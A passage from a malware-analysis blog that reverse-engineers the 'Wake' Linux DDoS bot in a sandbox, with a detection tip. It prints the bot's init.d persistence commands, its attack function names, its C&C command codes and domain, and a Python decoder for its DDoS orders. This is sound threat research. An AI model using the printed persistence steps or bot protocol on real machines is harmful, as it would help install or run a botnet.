<a href="https://www.hybrid-analysis.com/sample/9157e7ed6aa77da3575cbbc32e3c2c5fd7074e9ffe326b96b0cbefa897f8c581?environmentId=100">https://www.hybrid-analysis.com/sample/9157e7ed6aa77da3575cbbc32e3c2c5fd7074e9ffe326b96b0cbefa897f8c581?environmentId=100</a><br />
Date: August 2017<br />
<br />
<a href="http://ddecode.com/hexdecoder/?results=bed2e8df3925d8712bb1d2ba55cb9063">http://ddecode.com/hexdecoder/?results=bed2e8df3925d8712bb1d2ba55cb9063</a><br />
(no date)<br />
<a href="https://www.blogger.com/goog_1048657963"><br /></a>
<a href="https://securite.intrinsec.com/2017/05/16/exercice-de-desobfuscation-dun-jse-par-le-cert-intrinsec/">https://securite.intrinsec.com/2017/05/16/exercice-de-desobfuscation-dun-jse-par-le-cert-intrinsec/</a> (in french) in may 2107.<br />
<br />
So, if you have an appliance in your network making SSL analysis, you could check if some HTTP servers sends an header 'you_god_damn_right' and block it. It can helps you without any risk of false positive.<br />
<br />Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com2tag:blogger.com,1999:blog-8227611414371590425.post-77981660459494310702017-09-19T11:17:00.001+02:002017-09-19T11:17:40.984+02:00"Wake" malware has been updated.This blogpost is a follow-up of the previous blog post: <a href="http://0x90909090.blogspot.com/2017/08/meet-wake-malware-ddos-and-more.html">http://0x90909090.blogspot.com/2017/08/meet-wake-malware-ddos-and-more.html</a><br />
<br />
<h2>
1/ A wild new sample appears</h2>
I managed to find another sample on <a href="https://malwr.com/">https://malwr.com</a> website:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> ls -l lluxx; md5sum lluxx ; sha1sum lluxx
<span style="color: #888888;">-rw-r--r-- 1 mitsurugi mitsurugi 917143 août 24 09:58 lluxx</span>
<span style="color: #888888;">4423955345910ab8fb415b9e7fb0285e lluxx</span>
<span style="color: #888888;">849ebfb5281b4c407e54f5d1ad152bb288d81eb4 lluxx</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> file lluxx
<span style="color: #888888;">lluxx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.15, BuildID[sha1]=3d8cc691cce4db2327212838d2e797d6c25f8776, not stripped</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span>
</pre>
</div>
<br />
This one, it's an x86 executable file.<br />
<br />
<h3>
1/1/ Passive reco</h3>
A quick look at this binary confirmed that this is the same family as the previous one. If we look at the strings and function in the binary, we find a lot of similarities:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> strings -10 lluxx
<span style="color: #888888;">/proc/cpuinfo</span>
<span style="color: #c65d09; font-weight: bold;">%</span>*<span style="color: #333333;">[</span>^:<span style="color: #333333;">]</span>: %d
<span style="color: #888888;">/proc/stat</span>
<span style="color: #c65d09; font-weight: bold;">%</span>s %u %u %u %u
<span style="color: #888888;">/proc/net/dev</span>
<span style="color: #888888;">eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu</span>
<span style="color: #888888;">/proc/net/tcp</span>
<span style="color: #c65d09; font-weight: bold;">%</span>*s %s %*s %x %*s %*s %*s %*d %*d %d
<span style="color: #888888;">/proc/%s/fd</span>
<span style="color: #888888;">/proc/%s/fd/%s</span>
<span style="color: #888888;">ulimit -n 3000</span>
<span style="color: #888888;">/proc/self/exe</span>
<span style="color: #888888;"> while true;do</span>
<span style="color: #888888;"> server=`netstat -nlp | grep :39999`</span>
<span style="color: #888888;"> if [ ${#server} -eq 0 ] ; then</span>
<span style="color: #888888;"> nohup %s -c 1 &</span>
<span style="color: #888888;">/usr/bin/wake</span>
<span style="color: #888888;">/etc/init.d/wake</span>
<span style="color: #c65d09; font-weight: bold;">#</span><span style="color: #888888;">## BEGIN INIT INFO</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Provides: wake
<span style="color: #c65d09; font-weight: bold;">#</span> Required-Start: <span style="color: #996633;">$remote_fs</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Required-Stop: <span style="color: #996633;">$remote_fs</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Default-Start: 2 3 4 5
<span style="color: #c65d09; font-weight: bold;">#</span> Default-Stop: 0 1 6
<span style="color: #c65d09; font-weight: bold;">#</span> Short-Description: Start or stop the HTTP Proxy.
<span style="color: #c65d09; font-weight: bold;">#</span><span style="color: #888888;">## END INIT INFO</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> strings -10 lluxx
<span style="color: #888888;">/proc/cpuinfo</span>
<span style="color: #c65d09; font-weight: bold;">%</span>*<span style="color: #333333;">[</span>^:<span style="color: #333333;">]</span>: %d
<span style="color: #888888;">/proc/stat</span>
<span style="color: #c65d09; font-weight: bold;">%</span>s %u %u %u %u
<span style="color: #888888;">/proc/net/dev</span>
<span style="color: #888888;">eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu</span>
<span style="color: #888888;">/proc/net/tcp</span>
<span style="color: #c65d09; font-weight: bold;">%</span>*s %s %*s %x %*s %*s %*s %*d %*d %d
<span style="color: #888888;">/proc/%s/fd</span>
<span style="color: #888888;">/proc/%s/fd/%s</span>
<span style="color: #888888;">ulimit -n 3000</span>
<span style="color: #888888;">/proc/self/exe</span>
<span style="color: #888888;"> while true;do</span>
<span style="color: #888888;"> server=`netstat -nlp | grep :39999`</span>
<span style="color: #888888;"> if [ ${#server} -eq 0 ] ; then</span>
<span style="color: #888888;"> nohup %s -c 1 &</span>
<span style="color: #888888;">/usr/bin/wake</span>
<span style="color: #888888;">/etc/init.d/wake</span>
<span style="color: #c65d09; font-weight: bold;">#</span><span style="color: #888888;">## BEGIN INIT INFO</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Provides: wake
<span style="color: #c65d09; font-weight: bold;">#</span> Required-Start: <span style="color: #996633;">$remote_fs</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Required-Stop: <span style="color: #996633;">$remote_fs</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Default-Start: 2 3 4 5
<span style="color: #c65d09; font-weight: bold;">#</span> Default-Stop: 0 1 6
<span style="color: #c65d09; font-weight: bold;">#</span> Short-Description: Start or stop the HTTP Proxy.
<span style="color: #c65d09; font-weight: bold;">#</span><span style="color: #888888;">## END INIT INFO</span>
<span style="color: #888888;">case "$1" in</span>
<span style="color: #888888;"> nohup /usr/bin/wake -c 1 &</span>
<span style="color: #888888;">update-rc.d wake defaults 99</span>
<span style="color: #888888;">chkconfig --add wake</span>
<span style="color: #888888;">chkconfig wake on</span>
<span style="color: #888888;">nohup /usr/bin/wake -c 1 &</span>
<span style="color: #888888;">/dev/watchdog</span>
<span style="color: #888888;">/dev/misc/watchdog</span>
<span style="color: #888888;">/usr/bin/shell</span>
<span style="color: #888888;">nohup /usr/bin/shell -c 1 &</span>
<span style="color: #c65d09; font-weight: bold;">%</span>d.%d.%d.%d
<span style="color: #888888;">GET %s HTTP/1.1</span>
<span style="color: #888888;">(...)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> nm -P Arm1 | awk <span style="background-color: #fff0f0;">'$2 == "T" && $1 !~ /^_/ {print "b " $1}'</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b attack_http_get_flood</span>
<span style="color: #888888;">b attack_http_get_slow</span>
<span style="color: #888888;">b attack_http_get_spider</span>
<span style="color: #888888;">b attack_http_post_flood</span>
<span style="color: #888888;">b attack_http_post_slow</span>
<span style="color: #888888;">b attack_tcp_con</span>
<span style="color: #888888;">b attack_tcp_slow</span>
<span style="color: #888888;">b attack_tcp_std</span>
<span style="color: #888888;">b attack_tcp_syn</span>
<span style="color: #888888;">b attack_udp_root</span>
<span style="color: #888888;">b attack_udp_std</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b Calcpuuser</span>
<span style="color: #888888;">b checksum_ip</span>
<span style="color: #888888;">b checksum_tcpudp</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b Getcpuinfo</span>
<span style="color: #888888;">b getOutRates</span>
<span style="color: #888888;">b Getsysinfo</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b initwake</span>
<span style="color: #888888;">b jiemihttp</span>
<span style="color: #888888;">b Jointhread</span>
<span style="color: #888888;">b kill_process_by_inode</span>
<span style="color: #888888;">b kill_process_by_port</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b matow</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b RecvDosMsg</span>
<span style="color: #888888;">b recvexit</span>
<span style="color: #888888;">b Resolv</span>
<span style="color: #888888;">b SendCpuMsg</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b WebToData</span>
<span style="color: #888888;">b WebtoDns</span>
<span style="color: #888888;">(...)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> strings Arm1 | grep -oE <span style="background-color: #fff0f0;">"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"</span>
<span style="color: #888888;">127.0.0.1</span>
<span style="color: #888888;">8.8.8.8</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span>
</pre>
</div>
<div>
<br />
We recognise the 39999 TCP port, jiemihttp function, matow function, attack_* and so on. We have some things new:<br />
<br />
<ul>
<li>8.8.8.8 address</li>
<li>Resolv function</li>
<li>WebToData and WebtoDns functions</li>
<li>New attacks</li>
</ul>
<br />
We want to learn if the network protocol used by the server has changed, and if we can continue to implement it in an innocuous client.<br />
<br />
<h3>
1/2/ Network setup for the analysis machine.</h3>
For the dynamic analysis, I setup a VM like the ARM machine. Network setup need a little change.<br />
<br />
My static analysis reveals that the binary implements its own resolver for DNS and not rely anymore on the host configuration. This explains the IP address 8.8.8.8 that we see in the binary, and the "Resolv" function.<br />
<br />
The sandbox must have a gateway to 8.8.8.8, and we need to redirect the flow to a resolver which give the IP we want. We have this setup:<br />
<br /></div>
<div>
<pre>+--------+ +--------+
| | | |
|Sandbox +----------------+ Host |---FAKE INTERNET
| | | |
+--------+ +--------+
172.16.42.2 172.16.42.42
</pre>
<br />
We hav to grab all DNS traffic to 8.8.8.8, and setup a lying resolver. I choose dnsmasq because it can work standalone, without config file, and can answer whatever I want. Launch it on the cmd line, and it'll resolve:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">#</span> sudo iptables -t nat -A PREROUTING -i tap0 -p udp --dport 53 \</pre>
<pre style="line-height: 125%; margin: 0;"> -j DNAT --to 172.16.42.42:53
<span style="color: #c65d09; font-weight: bold;">#</span> sudo dnsmasq -h -H hosts -d -q -i tap0 -2 -R -r /dev/null -C /dev/null \</pre>
<pre style="line-height: 125%; margin: 0;"> -a 172.16.42.42 -A /com/172.16.42.42,/cn/172.16.42.42
</pre>
</div>
<br />
Quick explanation for dnsmasq:<br />
<br /></div>
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">dnsmasq -h #don't read /etc/hosts</span>
<span style="color: #888888;"> -H hosts #use this hosts file</span>
<span style="color: #888888;"> -d #don't daemon</span>
<span style="color: #888888;"> -q #log queries</span>
<span style="color: #888888;"> -i tap0 #listen on tun0</span>
<span style="color: #888888;"> -2 #only DNS, no DHCP/TFTP</span>
<span style="color: #888888;"> -R #No resolv.conf</span>
<span style="color: #888888;"> -r /dev/null #No resolv.conf, yes, you must tell twice</span>
<span style="color: #888888;"> -A /com/172.16.42.42,/cn/172.16.42.42</span>
<span style="color: #888888;"> -a 172.16.42.42 #listen address</span>
<span style="color: #888888;"> -C /dev/null #Conf file</span>
</pre>
</div>
<div>
<br />
-A is here for a catchall. Any domains ending in .com or .cn will get 172.16.42.42 as its IP.<br />
<br />
The iptables rules will redirect any DNS traffic to my dnsmasq. With this simple setup, the malware will connect to *my* C&C server, whatever the real C&C domain is.<br />
<h3>
1/3/ jiemi means get the C&C</h3>
The C&C IP address is the one that resolves:<br />
<div>
<br /></div>
</div>
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ x/s 0x080ed040</span>
<span style="color: #888888;">0x80ed040 <IPA>: "app.yzyrh.com"</span>
</pre>
</div>
<div>
<br />
<h3>
1/4/ Unleash Hell</h3>
With this setup, we can see the malware connecting to my C&C server on 172.16.42.42<br />
The DNS resolution calls the Resolv() function which use WebToDns and WebToData function. The setup explained in the previous paragraph allows us to hijack this DNS connection, so the malware doesn't reach internet in any way.<br />
<br />
The first observation is that the malware send a REGISTER message and doesn't send anymore the statistics each 5 seconds.<br />
<br />
<h2>
2/ Analysis</h2>
<h3>
2/1/ Register command</h3>
As seen in the previous version, the bot begins to save the result of ` uname -a` , the IP address and if the binary have root rights. The IP detection doesn't rely anymore with the name of the interface, but on the sa_family of the interface, which is better. The REGISTER message also contain the CPU MHz of the machine by checking the 7th line of /proc/cpuinfo (not always accurate, though).<br />
<br />
Fun fact: the IP address goes through a complicated set of if/else case in order to detect if it begin with:<br />
<br />
<ul>
<li>10.0</li>
<li>192.16</li>
<li>172.[123]</li>
<li>127.</li>
</ul>
<br />
And if yes, the address is not copied in the register message. Nice way to avoid IP private range (detection could be more accurate, but hey, this is malware)<br />
<br />
But there is a second loop that copy the IP address if it's different from 127.0.0.1 (?!), so IP address is copied anyway, even if it's in private range!<br />
<br />
<h3>
2/2/ Botnet related commands</h3>
We find like the first time the usual command, 103 for launching attacks, 104 for an immediate stop, 105 for exec local commands. There is no more updating facility, and strangely, no output from the command launched. The binary exec it, and drop the output.<br />
<br />
There is a new command, 106 which trigger the stats thread from the malware. It's a basic switch. Sends 106, receive statistics. Send another time 106, stop statistics.<br />
The bytes are BE, so a "trigger statistics on/off" can be written as:</div>
<div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">Packet format :
(<span style="color: #333333;">...</span>)
<span style="color: #008800; font-weight: bold;">elif</span> cmd <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">'106'</span>:
client<span style="color: #333333;">.</span>send(<span style="background-color: #fff0f0;">'</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x06\x00\x01\x00</span><span style="background-color: #fff0f0;">'</span><span style="color: #333333;">+</span><span style="background-color: #fff0f0;">'</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x00</span><span style="background-color: #fff0f0;">'</span><span style="color: #333333;">*</span><span style="color: #0000dd; font-weight: bold;">16</span>)
</pre>
</div>
<br /></div>
<div>
This was made to reduce bandwidth sent to the C&C because if you begin to manage a huge list of bots, you can DOS yourself with statistics sent every 5s for each bots ^^<br />
<br />
<h3>
2/3/ DDOS related commands</h3>
We have a lot of new DDOS commands, you can se the big switch/case here:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimXP4rrP7h991IetwIEokKMx9qavi-44CuNCJ6z7quMLoZjKvhyphenhyphenIjmuCetH1b6lUaG8hYOuiNjC-KQGDqpK9R9HAuX4pMGom2dzOjFPBhFJZWcf-XPPkYFKxF97KQK2aWdERA82kZEivY/s1600/switch_case.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="419" data-original-width="505" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimXP4rrP7h991IetwIEokKMx9qavi-44CuNCJ6z7quMLoZjKvhyphenhyphenIjmuCetH1b6lUaG8hYOuiNjC-KQGDqpK9R9HAuX4pMGom2dzOjFPBhFJZWcf-XPPkYFKxF97KQK2aWdERA82kZEivY/s1600/switch_case.png" /></a></div>
<br />
<br />
We have now 11 attack types, two of them depends if we have root rights or not.<br />
<br />
Another fun fact here. I think that the programmer mistakenly copy paste its code (click to enlarge):<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpxNlyrZmIDH63K_z86YyZSIpCXk6Jq9yihTvMinICtFiPgr7efipwK1Wkg0cDmzFDqSzA8gDyFZQJ3JV7N_gq2gORkwcxtbuh1tfVEIAGv4S_glg6-AbLTqG4zJHyHTzhXnL0KPX2YQ/s1600/attack_upp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="659" data-original-width="1329" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpxNlyrZmIDH63K_z86YyZSIpCXk6Jq9yihTvMinICtFiPgr7efipwK1Wkg0cDmzFDqSzA8gDyFZQJ3JV7N_gq2gORkwcxtbuh1tfVEIAGv4S_glg6-AbLTqG4zJHyHTzhXnL0KPX2YQ/s320/attack_upp.png" width="320" /></a></div>
<br />
There is almost the same two code bloacks left, and right. The case depends if binary has root rights or not.<br />
You can see at bottom left 'attack_udp_root', and 'attack_udp_std' if you're not root. Then, at bottom right you see 'attack_tcp_root' and ... 'attack_udp_std' ??? I think the programmer wanted to launch a std tcp attack.<br />
Moreover, there isn't any Xref to the attack_tcp_std function:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDLKeeVsHNkKfYwekiGWo9kLhiCETKzJ_ZgWqtoV5tF-6lOenVh8xQsKmUBrXLbmezkCX1UleZeIetJRUKM15-eMXTvV85SLoNfSQWymW49SKFnTxEiYqYi5EKdGQgb8Rh4WV_-kHoGSw/s1600/no_xref.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="253" data-original-width="401" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDLKeeVsHNkKfYwekiGWo9kLhiCETKzJ_ZgWqtoV5tF-6lOenVh8xQsKmUBrXLbmezkCX1UleZeIetJRUKM15-eMXTvV85SLoNfSQWymW49SKFnTxEiYqYi5EKdGQgb8Rh4WV_-kHoGSw/s320/no_xref.png" width="320" /></a></div>
<br />
<br />
But everything has been reversed, and here is the python code used to decode the DDOS commands:<br />
<br /></div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #008800; font-weight: bold;">def</span> <span style="color: #0066bb; font-weight: bold;">prettyprint</span>(s):
atk<span style="color: #333333;">=</span>[<span style="background-color: #fff0f0;">'attack_tcp_con'</span>,<span style="background-color: #fff0f0;">'attack_tcp_slow'</span>,<span style="background-color: #fff0f0;">'attack_tcp_syn/attack_udp_std'</span>,\
<span style="background-color: #fff0f0;">'attack_udp_root/attack_udp_std'</span>,<span style="background-color: #fff0f0;">'attack_http_get_flood'</span>,\
<span style="background-color: #fff0f0;">'attack_http_get_slow'</span>,<span style="background-color: #fff0f0;">'attack_http_get_spider'</span>,<span style="background-color: #fff0f0;">'attack_http_post_flood'</span>,\
<span style="background-color: #fff0f0;">'attack_http_post_slow'</span>]
(attack,t1,t2,atk_type,dport,a,timer,delay,threads,size,f,g,h,i) <span style="color: #333333;">=</span> \
struct<span style="color: #333333;">.</span>unpack(<span style="background-color: #fff0f0;">'<I268x128s256sIIIIIIIIIII'</span>,s[:<span style="color: #0000dd; font-weight: bold;">700</span>])
<span style="color: #008800; font-weight: bold;">if</span> t2[<span style="color: #0000dd; font-weight: bold;">0</span>]<span style="color: #333333;">==</span><span style="background-color: #fff0f0;">"</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x00</span><span style="background-color: #fff0f0;">"</span>:
t2<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">"NONE"</span>
<span style="color: #008800; font-weight: bold;">if</span> atk_type <span style="color: #333333;"><</span> <span style="color: #0000dd; font-weight: bold;">9</span>:
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">"[+] Attack type(</span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">): </span><span style="background-color: #eeeeee;">%s</span><span style="background-color: #fff0f0;"> with </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;"> thread(s)"</span> <span style="color: #333333;">%</span> (atk_type,atk[atk_type], threads)
<span style="color: #008800; font-weight: bold;">else</span>:
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">"[+] Attack type(</span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">): Unkown attack, new bot version? </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;"> Thread(s)"</span> <span style="color: #333333;">%</span> (atk_type,threads)
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">" Targets: </span><span style="background-color: #eeeeee;">%s</span><span style="background-color: #fff0f0;">, </span><span style="background-color: #eeeeee;">%s</span><span style="background-color: #fff0f0;">; dport </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">, duration </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">s , delay </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">ms, size </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">"</span> <span style="color: #333333;">%</span> \
(t1,t2,dport,timer,delay,size)
<span style="color: #888888;">#other parameter not used/not important</span>
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">" Other params: a: </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">, f: </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">, g: </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">, h: </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">, i: </span><span style="background-color: #eeeeee;">%d</span><span style="background-color: #fff0f0;">"</span> <span style="color: #333333;">%</span> (a,f,g,h,i)
</pre>
</div>
<div>
<br />
<br />
<h3>
2/4/ Conclusion</h3>
We can see that the coder continue to update its bot. I wrote a python client compatible for both version in my github: <a href="https://github.com/0xmitsurugi/afterburner">https://github.com/0xmitsurugi/afterburner</a><br />
<br />
I found two C&C, the first one has been shut down really fast after the finding.<br />
<br />
The second one, also dead at the time of writing, has been monitored for approximatively two weeks. Nothing really interesting :( just some really slow attacks, kind of 2 HTTP GET by seconds on a server for two minutes. Commands were repeated each 120s to restart the "attack" I think.<br />
<br />
There were two website targeted, chinese gaming site. I tried to se if they suffered from the attack, but no. They were always up & running with very good response time. I'm even wondering if this bot is not made to simulate traffic on website (why? and what for? No idea), because it doesn't look like a denial of service to me.<br />
<br />
<h2>
3/ Is "wake" the elknot lost son?</h2>
I've read some docs online, and found this one here https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhEGQQyZDY1a-gKaQo0ujDyNnZqJs9clUJCn1VPpFzN6PLylPSqbyhUHYQ6tsXZprZIiShLNf41_JDouh7UTyRhHJJymqxiRrMVAhErWeC4mIyWNa4YKrTViu7HkqoBBysFuagkFe5HB8/s1600/obfusc_elknot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="455" data-original-width="761" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhEGQQyZDY1a-gKaQo0ujDyNnZqJs9clUJCn1VPpFzN6PLylPSqbyhUHYQ6tsXZprZIiShLNf41_JDouh7UTyRhHJJymqxiRrMVAhErWeC4mIyWNa4YKrTViu7HkqoBBysFuagkFe5HB8/s320/obfusc_elknot.png" width="320" /></a></div>
<br />
<br />
<h3>
3/1/ Weak algorithm</h3>
We can see that elknot uses a weak obfuscation algorithm (+1,-1,+1,-1 and so on) while the wake malware uses (-1,+1,+2,-1,+1,+2,-1, and so on). These algorithms are used to hide the C&C address.<br />
<h3>
3/2/ Protocol grammar</h3>
The protocol used by elknot to communicate is binary, with command starting at 0x00. We see that's almost the same as wake: 0x00010001 0x00010002 and so on..<br />
<h3>
3/3/ others similarities?</h3>
Is there any Resolv() function in Elknot? Is there another similarities? I don't know, it's maybe just a coincidence.<br />
<br />
<h2>
4/ Heading to the future</h2>
I have a fully functional client for the malware, and I'm ready to listen to botmasters orders.<br />
You can check the source code on my github: <a href="https://github.com/0xmitsurugi/afterburner/tree/master/WakeUp">https://github.com/0xmitsurugi/afterburner/tree/master/WakeUp</a><br />
<br />
I had a very quick communication with a C&C (down at the time present) which sends me a DDOS command number 17, which I don't have. I continue to search for new samples. If you get one, send it to me, I would be pleased to analyze it :)<br />
<br /></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-4043249741346306202017-08-21T12:15:00.000+02:002017-08-29T10:21:02.090+02:00Meet the "Wake" malware: DDOS and more!<br />
My latest blogpost was detailing how to <a href="http://0x90909090.blogspot.fr/2017/07/qemu-arm-vm-for-crackmemalware-analysis.html" target="_blank">setup a qemu ARM system to do malware analysis</a>, it's now time to use it for analyze an unknown binary. I went to <a href="https://reverse.it/">https://reverse.it</a> website, and found the 'wake' binary, which looks promising:<br />
<div>
<br /></div>
<h2>
0/ In case of TL;DR</h2>
<u>Risk assessment:</u><br />
<ul>
<li>This binary can be used to launch DDos and execute command</li>
<li>The binary protocol for communicating with C&C has been reversed, a client is provided</li>
<li>This binary has a good OPSEC: </li>
<ul>
<li>we can't recover its C&C from the binary itself</li>
<li>it looks like a ddos tool, but can upgrade itself and execute commands </li>
</ul>
<li>This binary works as root and non-root user</li>
<ul>
<li>Note that some part doesn't work as non root user</li>
</ul>
<li>All this binary have been dissassed and analyzed</li>
<ul>
<li>It's probably built on differents sources codes</li>
</ul>
</ul>
<u>Threat Intel:</u><br />
<ul>
<li>IOC are given in the end of the document</li>
</ul>
<br />
<h2>
1/ Passive reco</h2>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> ls -l Arm1 ; md5sum Arm1 ; sha256sum Arm1
<span style="color: #888888;">-rw-r--r-- 1 mitsurugi mitsurugi 676071 Aug 17 11:48 Arm1</span>
<span style="color: #888888;">8a3ca4a67e6d8af6834b96e4ac1457b6 Arm1</span>
<span style="color: #888888;">33c5374b0a1802a19d7787a65096cb049635c2e965b66d902456ca7e9c5d35b5 Arm1</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> file Arm1
<span style="color: #888888;">Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> readelf -h Arm1
<span style="color: #888888;">ELF Header:</span>
<span style="color: #888888;"> Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 </span>
<span style="color: #888888;"> Class: ELF32</span>
<span style="color: #888888;"> Data: 2's complement, little endian</span>
<span style="color: #888888;"> Version: 1 (current)</span>
<span style="color: #888888;"> OS/ABI: UNIX - System V</span>
<span style="color: #888888;"> ABI Version: 0</span>
<span style="color: #888888;"> Type: EXEC (Executable file)</span>
<span style="color: #888888;"> Machine: ARM</span>
<span style="color: #888888;"> Version: 0x1</span>
<span style="color: #888888;"> Entry point address: 0x8130</span>
<span style="color: #888888;"> Start of program headers: 52 (bytes into file)</span>
<span style="color: #888888;"> Start of section headers: 570328 (bytes into file)</span>
<span style="color: #888888;"> Flags: 0x5000002, Version5 EABI, <unknown></span>
<span style="color: #888888;"> Size of this header: 52 (bytes)</span>
<span style="color: #888888;"> Size of program headers: 32 (bytes)</span>
<span style="color: #888888;"> Number of program headers: 6</span>
<span style="color: #888888;"> Size of section headers: 40 (bytes)</span>
<span style="color: #888888;"> Number of section headers: 30</span>
<span style="color: #888888;"> Section header string table index: 27</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span>
</pre>
</div>
<br />
<h2>
2/ Quick analysis</h2>
We saw that binary is not stripped, so we can read all of the function names,<br />
and begin to find things with strings utility.<br />
<br />
<h3>
2/1/ Function names:</h3>
nm can list symbols from object files:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
